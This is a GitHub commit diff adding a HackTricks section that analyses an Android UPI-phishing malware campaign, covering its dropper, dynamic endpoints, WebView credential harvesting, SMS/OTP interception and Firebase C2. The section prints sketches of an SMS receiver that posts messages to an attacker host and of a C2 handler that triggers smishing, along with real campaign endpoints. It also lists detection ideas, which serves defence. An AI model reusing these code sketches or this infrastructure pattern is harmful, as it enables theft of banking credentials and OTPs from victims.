Skip to content

Commit ed872d2

Browse files
authored
Merge pull request #1314 from HackTricks-wiki/update_Android_Malware_Promises_Energy_Subsidy_to_Steal_F_20250820_125045
Android Malware Promises Energy Subsidy to Steal Financial D...
2 parents 46178cf + 4d90890 commit ed872d2

3 files changed

Lines changed: 137 additions & 1 deletion

File tree

src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md

Lines changed: 135 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -90,9 +90,143 @@ Java.perform(function() {
9090
LubanCompress 1.1.8 # "Luban" string inside classes.dex
9191
```
9292

93+
---
94+
95+
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
96+
97+
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
98+
99+
### Delivery chain across trusted platforms
100+
- YouTube video lure → description contains a short link
101+
- Shortlink → GitHub Pages phishing site imitating the legit portal
102+
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
103+
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
104+
105+
### Dropper with embedded payload and offline install
106+
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
107+
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
108+
109+
Static triage tip (grep for embedded payloads):
110+
111+
```bash
112+
unzip -l sample.apk | grep -i "assets/app.apk"
113+
# Or:
114+
zipgrep -i "classes|.apk" sample.apk | head
115+
```
116+
117+
### Dynamic endpoint discovery via shortlink
118+
- Malware fetches a plain-text, comma-separated list of live endpoints from a shortlink; simple string transforms produce the final phishing page path.
119+
120+
Example (sanitised):
121+
122+
```
123+
GET https://rebrand.ly/dclinkto2
124+
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
125+
Transform: "gate.html" → "gate.htm" (loaded in WebView)
126+
UPI credential POST: https://sqcepo.replit.app/addup.php
127+
SMS upload: https://sqcepo.replit.app/addsm.php
128+
```
129+
130+
Pseudo-code:
131+
132+
```java
133+
String csv = httpGet(shortlink);
134+
String[] parts = csv.split(",");
135+
String upiPage = parts[0].replace("gate.html", "gate.htm");
136+
String smsPost = parts[1];
137+
String credsPost = upiPage.replace("gate.htm", "addup.php");
138+
```
139+
140+
### WebView-based UPI credential harvesting
141+
- The “Make payment of ₹1 / UPI‑Lite” step loads an attacker HTML form from the dynamic endpoint inside a WebView and captures sensitive fields (phone, bank, UPI PIN) which are `POST`ed to `addup.php`.
142+
143+
Minimal loader:
144+
145+
```java
146+
WebView wv = findViewById(R.id.web);
147+
wv.getSettings().setJavaScriptEnabled(true);
148+
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
149+
```
150+
151+
### Self-propagation and SMS/OTP interception
152+
- Aggressive permissions are requested on first run:
153+
154+
```xml
155+
<uses-permission android:name="android.permission.READ_CONTACTS"/>
156+
<uses-permission android:name="android.permission.SEND_SMS"/>
157+
<uses-permission android:name="android.permission.READ_SMS"/>
158+
<uses-permission android:name="android.permission.CALL_PHONE"/>
159+
```
160+
161+
- Contacts are looped to mass-send smishing SMS from the victim’s device.
162+
- Incoming SMS are intercepted by a broadcast receiver and uploaded with metadata (sender, body, SIM slot, per-device random ID) to `/addsm.php`.
163+
164+
Receiver sketch:
165+
166+
```java
167+
public void onReceive(Context c, Intent i){
168+
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
169+
for (SmsMessage m: msgs){
170+
postForm(urlAddSms, new FormBody.Builder()
171+
.add("senderNum", m.getOriginatingAddress())
172+
.add("Message", m.getMessageBody())
173+
.add("Slot", String.valueOf(getSimSlot(i)))
174+
.add("Device rand", getOrMakeDeviceRand(c))
175+
.build());
176+
}
177+
}
178+
```
179+
180+
### Firebase Cloud Messaging (FCM) as resilient C2
181+
- The payload registers to FCM; push messages carry a `_type` field used as a switch to trigger actions (e.g., update phishing text templates, toggle behaviours).
182+
183+
Example FCM payload:
184+
185+
```json
186+
{
187+
"to": "<device_fcm_token>",
188+
"data": {
189+
"_type": "update_texts",
190+
"template": "New subsidy message..."
191+
}
192+
}
193+
```
194+
195+
Handler sketch:
196+
197+
```java
198+
@Override
199+
public void onMessageReceived(RemoteMessage msg){
200+
String t = msg.getData().get("_type");
201+
switch (t){
202+
case "update_texts": applyTemplate(msg.getData().get("template")); break;
203+
case "smish": sendSmishToContacts(); break;
204+
// ... more remote actions
205+
}
206+
}
207+
```
208+
209+
### Hunting patterns and IOCs
210+
- APK contains secondary payload at `assets/app.apk`
211+
- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
212+
- SMS exfiltration to `/addsm.php`
213+
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
214+
- Apps labelled as generic “Update/Secure Update”
215+
- FCM `data` messages with a `_type` discriminator in untrusted apps
216+
217+
### Detection & defence ideas
218+
- Flag apps that instruct users to disable network during install and then side-load a second APK from `assets/`.
219+
- Alert on the permission tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
220+
- Egress monitoring for `POST /addup.php|/addsm.php` on non-corporate hosts; block known infrastructure.
221+
- Mobile EDR rules: untrusted app registering for FCM and branching on a `_type` field.
222+
223+
---
224+
93225
## References
94226

95227
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
96228
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
229+
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
230+
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
97231

98-
{{#include ../../banners/hacktricks-training.md}}
232+
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/cache-deception/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -293,3 +293,4 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
293293

294294
{{#include ../../banners/hacktricks-training.md}}
295295

296+

src/pentesting-web/deserialization/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1097,6 +1097,7 @@ Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an R
10971097
10981098
- Minimal vulnerable Rails code path:
10991099
1100+
11001101
```ruby
11011102
class UserRestoreController < ApplicationController
11021103
def show

0 commit comments

Comments
 (0)